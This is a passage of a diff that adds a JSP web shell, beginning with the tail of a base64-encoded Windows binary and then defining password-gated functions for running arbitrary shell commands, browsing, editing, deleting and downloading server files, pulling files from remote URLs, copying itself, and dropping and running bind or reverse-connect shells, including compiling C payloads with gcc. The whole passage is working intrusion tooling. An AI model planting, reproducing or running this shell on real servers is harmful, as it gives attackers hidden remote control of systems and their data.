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";
+String script_name = request.getRequestURI();
+String shell_style = "";
+%><%!
+//################# FUNCTION GOES HERE #######################==============================================]
+public String getSlash(){
+ if(is_win()){
+ return "\\";
+ }
+ return "/";
+}
+public boolean is_win(){
+ if(System.getProperty("os.name").toLowerCase().substring(0,3).equals("win")){
+ return true;
+ }
+ return false;
+}
+public String xcleanpath(String path){
+ if(is_dir(path)){
+ String xSlash = getSlash();
+ if(path!=null && path.length() > 1){
+ while(path.substring(path.length()-1).equals(xSlash)){
+ path = path.substring(0,path.length()-1);
+ }
+ return path + xSlash;
+ }
+ }
+ return path;
+}
+public String urlencode(String str){
+ try{ if(str!=null) return URLEncoder.encode(str); } catch(Exception e){ }
+ return str;
+}
+public String urldecode(String str){
+ try{ if(str!=null) return URLDecoder.decode(str); } catch(Exception e){ }
+ return str;
+}
+public String xparsedir(String dir){
+ String xSlash = "";
+ String xSlash_ = "";
+ if(is_win()){
+ xSlash = "\\";
+ xSlash_ = "\\\\";
+ }
+ else{
+ xSlash = "/";
+ xSlash_ = "/";
+ }
+ String[] dirs = dir.split(xSlash_);
+ StringBuffer buff = new StringBuffer("");
+ StringBuffer dlink = new StringBuffer("");
+ if(!is_win()){
+ dlink.append(urlencode(xSlash));
+ buff.append("" + xSlash + " ");
+ }
+ for(int i=0;i" + d + " " + xSlash + " ");
+ }
+ }
+ return "[ " + buff + " ] ";
+}
+public boolean is_file(String fpath){
+ try{
+ File myfile = new File(fpath);
+ if(myfile.exists() && myfile.isFile()){ return true; }
+ }
+ catch(Exception e){ }
+ return false;
+}
+public boolean is_dir(String fpath){
+ try{
+ File myfile = new File(fpath);
+ if(myfile.exists() && myfile.isDirectory()){ return true; }
+ }
+ catch(Exception e){ }
+ return false;
+}
+public String xparentfolder(String fpath){
+ if(is_dir(fpath)){
+ File myfile = new File(fpath);
+ if(myfile.getParent()!=null) return myfile.getParent();
+ else return fpath;
+ }
+ return fpath;
+}
+public String xfileopen(String fpath){
+ try{
+ StringBuffer content = new StringBuffer("");
+ if(is_file(fpath)){
+ FileInputStream fileinputstream = new FileInputStream(fpath);
+ int numberBytes = fileinputstream.available();
+ byte bytearray[] = new byte[numberBytes];
+ fileinputstream.read(bytearray);
+ for(int i = 0; i < numberBytes; i++){
+ content.append((char) (bytearray[i]));
+ }
+ fileinputstream.close();
+ }
+ return content.toString();
+ }
+ catch (Exception e) {
+ }
+ return "";
+}
+public boolean xfilesave(String fullPath, byte[] bytes){
+ try{
+ OutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(fullPath));
+ InputStream inputStream = new ByteArrayInputStream(bytes);
+ int token = -1;
+ while((token = inputStream.read()) != -1){
+ bufferedOutputStream.write(token);
+ }
+ bufferedOutputStream.flush();
+ bufferedOutputStream.close();
+ inputStream.close();
+ }
+ catch(Exception e){ return false; }
+ if(is_file(fullPath)){
+ return true;
+ }
+ return false;
+}
+public boolean xfilesave(String fullPath, String text){
+ Writer writer = null;
+ try{
+ File myFile = new File(fullPath);
+ writer = new BufferedWriter(new FileWriter(myFile));
+ writer.write(text);
+ writer.close();
+ }
+ catch (Exception e) { return false; }
+ if(is_file(fullPath)){
+ return true;
+ }
+ return false;
+}
+public void xrmdir(String fdir){
+ File mypath = new File(fdir);
+
+ File[] allitem = mypath.listFiles();
+ for(int i=0;i[ ");
+ letters.append(letter.substring(0,1));
+ letters.append(" ] ");
+ }
+ letters.append(" ");
+ return letters.toString();
+ }
+ return "";
+}
+public String xfilelastmodified(String fpath){
+ if(is_file(fpath) || is_dir(fpath)){
+ File myfile = new File(fpath);
+ return new SimpleDateFormat("dd-MMM-yyyy HH:mm").format(new java.util.Date(myfile.lastModified()));
+ }
+ return "???";
+}
+public String xfilesummary(String fpath){
+ if(is_file(fpath)){
+ return "Filesize : " + xparsefilesize(xfilesize(fpath)) + " ( " + xfilesize(fpath) + " ) :: Permission : " + xfileperms(fpath) + " :: modified : " + xfilelastmodified(fpath);
+ }
+ return "";
+}
+public boolean xrunexploit(String fpath,String base64,String port,String ip){
+ String finals = "";
+ byte[] embrio = b64decode(base64);
+ String tmpdir = xcleanpath(System.getProperty("java.io.tmpdir"));
+ String fname = "";
+ String xpath = "";
+ boolean ok = false;
+ if(is_win()){
+ fname = "bd.exe";
+ xpath = xcleanpath(fpath) + fname;
+ if(is_file(xpath)){
+ File xfile = new File(xpath);
+ xfile.delete();
+
+ }
+ if(!xfilesave(xpath,embrio)){
+ xpath = tmpdir + fname;
+ if(xfilesave(xpath,embrio)) ok = true;
+ }
+ else ok = true;
+
+ if(ok){
+ finals = xpath + " " + port + " " + ip;
+ try {
+ Process p = Runtime.getRuntime().exec(finals);
+ }
+ catch(Exception e) { return false; }
+ return true;
+ }
+ }
+ else {
+ if(!ip.equals("")) fname = "back";
+ else fname = "bind";
+ String ypath = xcleanpath(fpath) + fname;
+ if(is_file(ypath + ".c")){
+ File yfile = new File(xpath + ".c");
+ yfile.delete();
+ }
+ if(!xfilesave(ypath + ".c",embrio)){
+ xpath = tmpdir + fname;
+ if(xfilesave(xpath,embrio)) ok = true;
+ }
+ else ok = true;
+
+ if(ok){
+ ekse("gcc " + ypath + ".c -o " + ypath,fpath );
+ ekse("chmod +x " + ypath,fpath);
+ if(is_file(ypath)){
+ finals = ypath + " " + port + " " + ip;
+ try{
+ Process p = Runtime.getRuntime().exec(finals);
+ }
+ catch(Exception e){ return false; }
+ return true;
+ }
+ else return false;
+ }
+ }
+ return false;
+}
+String ekse(String cmd, String cwd){
+ String[] comm = new String[3];
+ if(!is_win()){
+ comm[0] = "/bin/sh";comm[1] = "-c";comm[2] = cmd;
+ }else{
+ comm[0] = "cmd";comm[1] = "/C";comm[2] = cmd;
+ }
+ StringBuffer ret = new StringBuffer();
+ long start = System.currentTimeMillis();
+ try {
+ Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(cwd));
+ //Get input and error streams
+ BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
+ BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());
+ boolean end = false;
+ while (!end) {
+ int c = 0;
+ while ((ls_err.available() > 0) && (++c <= 1000)) {
+ ret.append((char) ls_err.read());
+ }
+ c = 0;
+ while ((ls_in.available() > 0) && (++c <= 1000)) {
+ ret.append((char) ls_in.read());
+ }
+ try {
+ ls_proc.exitValue();
+ //if the process has not finished, an exception is thrown
+ //else
+ while (ls_err.available() > 0)
+ ret.append((char) ls_err.read());
+ while (ls_in.available() > 0)
+ ret.append((char) ls_in.read());
+ end = true;
+ }
+ catch (IllegalThreadStateException ex) {
+ //Process is running
+ }
+ try {
+ Thread.sleep(50);
+ }
+ catch (InterruptedException ie) {}
+ }
+ }
+ catch (IOException e) {
+ ret.append("Error: " + e);
+ }
+ return ret.toString();
+}
+public String xdir(String fdir){
+ String path = xcleanpath(urldecode(fdir));
+ StringBuffer buff = new StringBuffer("");
+ if(is_dir(path)){
+ File mypath = new File(fdir);
+ ArrayList fname = new ArrayList();
+ ArrayList dname = new ArrayList();
+
+ String[] allitem = mypath.list();
+ for(int i=0;i" +
+ "Filename " +
+ "Filesize " +
+ "Permission " +
+ "Last Modified " +
+ "Action ");
+
+ if (path.length() > 3){
+ String sd = ".";
+ String d = xcleanpath(path);
+ String nextdir = xcleanpath(xparentfolder(d));
+ buff.append("");
+ buff.append("[ "+ sd + " ] ");
+ buff.append("DIR ");
+ buff.append("" + xfileperms(d) + " ");
+ buff.append("" + xfilelastmodified(d) + " ");
+ buff.append("Properties | Remove ");
+ buff.append(" ");
+ sd = "..";
+ d = xcleanpath(xparentfolder(path));
+ nextdir = xcleanpath(xparentfolder(d));
+ buff.append("");
+ buff.append("[ "+ sd + " ] ");
+ buff.append("DIR ");
+ buff.append("" + xfileperms(d) + " ");
+ buff.append("" + xfilelastmodified(d) + " ");
+ buff.append("Properties | Remove ");
+ buff.append(" ");
+ }
+ for(int i=0;i");
+ buff.append("[ "+ sd + " ] ");
+ buff.append("DIR ");
+ buff.append("" + xfileperms(nextdir) + " ");
+ buff.append("" + xfilelastmodified(nextdir) + " ");
+ buff.append("Properties | Remove ");
+ buff.append("");
+ }
+ for(int i=0;i");
+ buff.append("");
+ buff.append(sf + " ");
+ buff.append("" + xparsefilesize(xfilesize(f)) + " ");
+ buff.append("" + xfileperms(f) + " ");
+ buff.append("" + xfilelastmodified(f) + " ");
+ buff.append("Edit | Download | Remove ");
+ buff.append("");
+ }
+ buff.append("
");
+ }
+ return buff.toString();
+}
+public boolean is_numeric(String str){
+ return str.matches("\\d+");
+}
+public void chdir(String directory) {
+ System.setProperty("user.dir",directory);
+}
+public byte[] b64decode(String str){
+ BASE64Decoder myDec = new BASE64Decoder();
+ byte[] decoded = null;
+ try{ decoded = myDec.decodeBuffer(str); }
+ catch(Exception e){ }
+ return decoded;
+}
+public String htmlspecialchars(String scode){
+ StringBuffer sb = new StringBuffer();
+ for(int i=0; i' :sb.append(">");break;
+ case '&' :sb.append("&");break;
+ case '"' :sb.append(""");break;
+ case '\'' :sb.append("'");break;
+ case ' ' :sb.append(" ");break;
+ default :sb.append(c);
+ }
+ }
+ return sb.toString();
+}
+public boolean is_image(String fpath){
+ FileNameMap fileNameMap = URLConnection.getFileNameMap();
+ String contentType = fileNameMap.getContentTypeFor(fpath);
+ if(contentType!=null && contentType.toLowerCase().startsWith("image")){ return true; }
+ return false;
+}
+class myComparator implements Comparator {
+ public int compare(Object o1, Object o2) {
+ String s1 = (String) o1;
+ String s2 = (String) o2;
+ return s1.toLowerCase().compareTo(s2.toLowerCase());
+ }
+}
+public class FileInfo {
+ public String name = null, clientFileName = null, fileContentType = null;
+ private byte[] fileContents = null;
+ public File file = null;
+ public StringBuffer sb = new StringBuffer(100);
+
+ public void setFileContents(byte[] aByteArray) {
+ fileContents = new byte[aByteArray.length];
+ System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
+ }
+}
+public class HttpMultiPartParser {
+ //private final String lineSeparator = System.getProperty("line.separator", "\n");
+ private final int ONE_MB = 1024 * 1;
+
+ public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
+ int clength) throws IllegalArgumentException, IOException {
+ if (is == null) throw new IllegalArgumentException("InputStream");
+ if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
+ "\"" + boundary + "\" is an illegal boundary indicator");
+ boundary = "--" + boundary;
+ StringTokenizer stLine = null, stFields = null;
+ FileInfo fileInfo = null;
+ Hashtable dataTable = new Hashtable(5);
+ String line = null, field = null, paramName = null;
+ boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
+ boolean isFile = false;
+ if (saveFiles) { // Create the required directory (including parent dirs)
+ File f = new File(saveInDir);
+ f.mkdirs();
+ }
+ line = getLine(is);
+ if (line == null || !line.startsWith(boundary)) throw new IOException(
+ "Boundary not found; boundary = " + boundary + ", line = " + line);
+ while (line != null) {
+ if (line == null || !line.startsWith(boundary)) return dataTable;
+ line = getLine(is);
+ if (line == null) return dataTable;
+ stLine = new StringTokenizer(line, ";\r\n");
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in second line");
+ line = stLine.nextToken().toLowerCase();
+ if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
+ "Bad data in second line");
+ stFields = new StringTokenizer(stLine.nextToken(), "=\"");
+ if (stFields.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in second line");
+ fileInfo = new FileInfo();
+ stFields.nextToken();
+ paramName = stFields.nextToken();
+ isFile = false;
+ if (stLine.hasMoreTokens()) {
+ field = stLine.nextToken();
+ stFields = new StringTokenizer(field, "=\"");
+ if (stFields.countTokens() > 1) {
+ if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
+ fileInfo.name = paramName;
+ String value = stFields.nextToken();
+ if (value != null && value.trim().length() > 0) {
+ fileInfo.clientFileName = value;
+ isFile = true;
+ }
+ else {
+ line = getLine(is); // Skip "Content-Type:" line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Position to boundary line
+ continue;
+ }
+ }
+ }
+ else if (field.toLowerCase().indexOf("filename") >= 0) {
+ line = getLine(is); // Skip "Content-Type:" line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Position to boundary line
+ continue;
+ }
+ }
+ boolean skipBlankLine = true;
+ if (isFile) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ if (line.trim().length() < 1) skipBlankLine = false;
+ else {
+ stLine = new StringTokenizer(line, ": ");
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in third line");
+ stLine.nextToken(); // Content-Type
+ fileInfo.fileContentType = stLine.nextToken();
+ }
+ }
+ if (skipBlankLine) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ }
+ if (!isFile) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ dataTable.put(paramName, line);
+ // If parameter is dir, change saveInDir to dir
+ if (paramName.equals("dir")) saveInDir = line;
+ line = getLine(is);
+ continue;
+ }
+ try {
+ OutputStream os = null;
+ String path = null;
+ if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
+ fileInfo.clientFileName));
+ else os = new ByteArrayOutputStream(ONE_MB);
+ boolean readingContent = true;
+ byte previousLine[] = new byte[2 * ONE_MB];
+ byte temp[] = null;
+ byte currentLine[] = new byte[2 * ONE_MB];
+ int read, read3;
+ if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
+ line = null;
+ break;
+ }
+ while (readingContent) {
+ if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
+ line = null;
+ break;
+ }
+ if (compareBoundary(boundary, currentLine)) {
+ os.write(previousLine, 0, read - 2);
+ line = new String(currentLine, 0, read3);
+ break;
+ }
+ else {
+ os.write(previousLine, 0, read);
+ temp = currentLine;
+ currentLine = previousLine;
+ previousLine = temp;
+ read = read3;
+ }//end else
+ }//end while
+ os.flush();
+ os.close();
+ if (!saveFiles) {
+ ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
+ fileInfo.setFileContents(baos.toByteArray());
+ }
+ else fileInfo.file = new File(path);
+ dataTable.put(paramName, fileInfo);
+ }//end try
+ catch (IOException e) {
+ throw e;
+ }
+ }
+ return dataTable;
+ }
+
+ /**
+ * Compares boundary string to byte array
+ */
+ private boolean compareBoundary(String boundary, byte ba[]) {
+ if (boundary == null || ba == null) return false;
+ for (int i = 0; i < boundary.length(); i++)
+ if ((byte) boundary.charAt(i) != ba[i]) return false;
+ return true;
+ }
+
+ /** Convenience method to read HTTP header lines */
+ private synchronized String getLine(ServletInputStream sis) throws IOException {
+ byte b[] = new byte[1024];
+ int read = sis.readLine(b, 0, b.length), index;
+ String line = null;
+ if (read != -1) {
+ line = new String(b, 0, read);
+ if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
+ }
+ return line;
+ }
+
+ public String getFileName(String dir, String fileName) throws IllegalArgumentException {
+ String path = null;
+ if (dir == null || fileName == null) throw new IllegalArgumentException(
+ "dir or fileName is null");
+ int index = fileName.lastIndexOf('/');
+ String name = null;
+ if (index >= 0) name = fileName.substring(index + 1);
+ else name = fileName;
+ index = name.lastIndexOf('\\');
+ if (index >= 0) fileName = name.substring(index + 1);
+ path = dir + File.separator + fileName;
+ if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
+ else return path.replace('/', File.separatorChar);
+ }
+} //End of class HttpMultiPartParser
+
+Hashtable cookieTable(Cookie[] cookies) {
+ Hashtable cookieTable = new Hashtable();
+ if (cookies != null) {
+ for (int i=0; i < cookies.length; i++)
+ cookieTable.put(cookies[i].getName(), cookies[i].getValue());
+ }
+ return cookieTable;
+}
+
+%><%
+//################# INIT GOES HERE #######################==================================================]
+//String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI());
+String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI());
+String xCwd = xCwd_.substring(0,xCwd_.lastIndexOf(getSlash()));
+chdir(xCwd);
+
+String result = "";
+String check = "";
+Hashtable _COOKIE = cookieTable(request.getCookies());
+Cookie myCookie;
+boolean auth = false;
+if((request.getParameter("passw")!=null) && (!request.getParameter("passw").equals(""))){
+ check = request.getParameter("passw").trim();
+ if(check.equals(shell_password)){
+ myCookie = new Cookie("pass",check);
+ myCookie.setMaxAge(3600*24*7);
+ response.addCookie(myCookie);
+ }
+ else {
+ myCookie = new Cookie("pass","");
+ myCookie.setMaxAge(0);
+ response.addCookie(myCookie);
+ }
+}
+if(_COOKIE.containsKey("pass")) {
+ check = (String) _COOKIE.get("pass");
+}
+
+if(check.equals(shell_password)){
+ auth = true;
+}
+else auth = false;
+
+
+if((request.getParameter("img")!=null) && (!request.getParameter("img").equals(""))){
+ String myfile = request.getParameter("img");
+ if(is_file(myfile)){
+ response.setContentType("image/png");
+ OutputStream o = response.getOutputStream();
+ FileInputStream fis = new FileInputStream(myfile);
+ int i;
+ while ((i=fis.read()) != -1){ o.write(i); }
+ fis.close();
+ o.flush();
+ o.close();
+ return;
+ }
+ else{
+ String file = "";
+ if(myfile.equals("icon")){
+ file = icon;
+ }
+ else if(myfile.equals("bg")){
+ file = bg;
+ }
+ byte[] data = b64decode(file);
+ response.setContentType("image/png");
+ OutputStream o = response.getOutputStream();
+ o.write(data);
+ o.flush();
+ o.close();
+ return;
+ }
+}
+if((request.getParameter("get")!=null) && (!request.getParameter("get").equals(""))){
+ String myfile = request.getParameter("get");
+ File myfile__ = new File(myfile);
+ response.setContentType("application/octet-stream");
+ response.setHeader("Content-Disposition","attachment; filename=\"" + myfile__.getName() + "\"");
+ OutputStream o = response.getOutputStream();
+ FileInputStream fis = new FileInputStream(myfile);
+ int i;
+ while ((i=fis.read()) != -1){ o.write(i); }
+ fis.close();o.flush();o.close();
+ return;
+}
+
+
+if((request.getParameter("dir")!=null) && (!request.getParameter("dir").equals(""))){
+ String newdir = xcleanpath(urldecode(request.getParameter("dir").trim()));
+ if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){
+ if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){
+ newdir = xcleanpath(xparentfolder(request.getParameter("oldfilename")));
+ }
+ }
+ if(is_dir(newdir)){
+ chdir(newdir);
+ xCwd = newdir;
+ }
+ else if(is_file(newdir)){
+ newdir = newdir.substring(0,newdir.lastIndexOf(getSlash()));
+ if(is_dir(newdir)){
+ chdir(newdir);
+ xCwd = newdir;
+ }
+ }
+
+ if((request.getParameter("foldername")!=null) && (!request.getParameter("foldername").equals(""))){
+ File myFile = new File(xcleanpath(xCwd + request.getParameter("foldername")));
+ if(!myFile.exists()) myFile.mkdir();
+ }
+ else if((request.getParameter("del")!=null) && (!request.getParameter("del").equals(""))){
+ String fdel = request.getParameter("del");
+ if(is_file(fdel)) new File(fdel).delete();
+ else if(is_dir(fdel)){
+ xrmdir(fdel);
+ xCwd = xcleanpath(newdir);
+ }
+ }
+ else if((request.getParameter("childname")!=null) && (!request.getParameter("childname").equals(""))){
+ String childname = request.getParameter("childname").trim();
+ String ortu = getServletConfig().getServletContext().getRealPath(request.getRequestURI());
+ String con = xfileopen(ortu);
+ xfilesave(xCwd+childname,con);
+ }
+}
+
+if((request.getParameter("btnConnect")!=null) && (!request.getParameter("btnConnect").equals(""))){
+ if((request.getParameter("bportC")!=null) && (is_numeric(request.getParameter("bportC")))){
+ String port = request.getParameter("bportC");
+ String base64 = "";
+ if(is_win()) base64 = wBind;
+ else base64 = xBack;
+ if(xrunexploit(xCwd,base64,port,request.getRemoteAddr())){
+ }
+ }
+}
+else if((request.getParameter("btnListen")!=null) && (!request.getParameter("btnListen").equals(""))){
+ if((request.getParameter("lportC")!=null) && (is_numeric(request.getParameter("lportC")))){
+ String port = request.getParameter("lportC");
+ String base64 = "";
+ if(is_win()) base64 = wBind;
+ else base64 = xBind;
+ if(xrunexploit(xCwd,base64,port,"")){
+ }
+ }
+}
+
+
+
+if ((request.getContentType() != null) && (request.getContentType().toLowerCase().startsWith("multipart"))) {
+ HttpMultiPartParser myParser = new HttpMultiPartParser();
+ try{
+ int bstart = request.getContentType().lastIndexOf("oundary=");
+ String bound = request.getContentType().substring(bstart + 8);
+ int clength = request.getContentLength();
+ Hashtable ht = myParser.processData(request.getInputStream(), bound, xCwd, clength);
+ if(ht.get("btnNewUploadUrl")!=null && !ht.get("btnNewUploadUrl").equals("")){
+ if(ht.get("fileurl")!=null && !ht.get("fileurl").equals("")){
+ URL myUrl = new URL(ht.get("fileurl").toString());
+ URLConnection myCon = myUrl.openConnection();
+ int conLength = myCon.getContentLength();
+ InputStream raw = myCon.getInputStream();
+ InputStream in = new BufferedInputStream(raw);
+ byte[] data = new byte[conLength];
+ int bytesRead = 0;
+ int offset = 0;
+ while(offset < conLength){
+ bytesRead = in.read(data, offset, data.length - offset);
+ if(bytesRead == -1) break;
+ offset += bytesRead;
+ }
+ in.close();
+ if(offset == conLength){
+ String fname = myUrl.getFile();
+ fname = fname.substring(fname.lastIndexOf('/')+1);
+ if(ht.get("filename")!=null && !ht.get("filename").equals("")){
+ fname = ht.get("filename").toString().trim();
+ }
+ FileOutputStream ooo = new FileOutputStream(xCwd + fname);
+ ooo.write(data);ooo.flush();ooo.close();
+ }
+ }
+ }
+ else if(ht.get("btnNewUploadLocal")!=null && !ht.get("btnNewUploadLocal").equals("")){
+ FileInfo fi = (FileInfo) ht.get("filelocal");
+ String clientFileName = xCwd + fi.clientFileName.trim();
+ if(ht.get("filename")!=null && !ht.get("filename").equals("")){
+ String filename = xCwd + ht.get("filename").toString().trim();
+ File clientFile = new File(clientFileName);
+ clientFile.renameTo(new File(filename));
+ }
+ }
+ }
+ catch(Exception e){ }
+}
+
+if((request.getParameter("cmd")!=null) && (!request.getParameter("cmd").equals(""))){
+ String cmd = urldecode(request.getParameter("cmd"));
+ String newdir = "";
+ if(cmd.toLowerCase().startsWith("cd ")){
+ newdir = cmd.substring(3).trim();
+ if(is_win()) newdir = newdir.replace("/","\\");
+ if(newdir.equals("\\") && xCwd.length()>=3){ xCwd = xCwd.substring(0,3); }
+ else if(newdir.equals(".")) { }
+ else if(newdir.equals("..")) {
+ xCwd = xcleanpath(xparentfolder(xCwd));
+ }
+ else{
+ if(newdir.indexOf(":") > 0){
+ if(is_dir(newdir)){ xCwd = xcleanpath(newdir); }
+ }
+ else if(is_dir(newdir)){
+ xCwd = xcleanpath(newdir);
+ }
+ else{
+ if(is_dir(xCwd + newdir)) { xCwd = xcleanpath(xCwd + newdir); }
+ }
+ }
+ result = xdir(xCwd);
+ }
+ else if(cmd.matches("^\\w{1}:.*")){
+ if(is_dir(cmd)){ xCwd = xcleanpath(cmd); }
+ result = xdir(xCwd);
+ }
+ else {
+ String result_ = htmlspecialchars(ekse(cmd,xCwd));
+ if(!result_.equals("")) result = result_.replace("\n"," ");
+ else {
+ result = xdir(xCwd);
+ }
+ }
+ chdir(xCwd);
+}
+else if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){
+ String fname = xcleanpath(urldecode(request.getParameter("properties")));
+ String oldname = "";
+ if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){
+ oldname = request.getParameter("oldfilename");
+ File oldfile = new File(oldname);
+ oldfile.renameTo(new File(fname));
+ }
+ String dir = xCwd;
+ String fcont = "";
+ String fview = "";
+ String fsize = "";
+ String faction = "";
+ String type = "";
+ if(is_dir(fname)){
+ fsize = "DIR";
+ fcont = xdir(fname);
+ faction = "Properties | Remove ";
+ }
+ else{
+ fsize = xparsefilesize(xfilesize(fname)) + " ( " + xfilesize(fname) + " bytes ) ";
+ if((request.getParameter("type")!=null) && (!request.getParameter("type").equals(""))) type = request.getParameter("type").trim();
+ else{
+ if(is_image(fname)) type = "img";
+ else type = "text";
+ }
+ if(type.equals("img")){
+ String imglink = "[ view full size ]
";
+ fcont = "" + imglink + "
";
+ }
+ else{
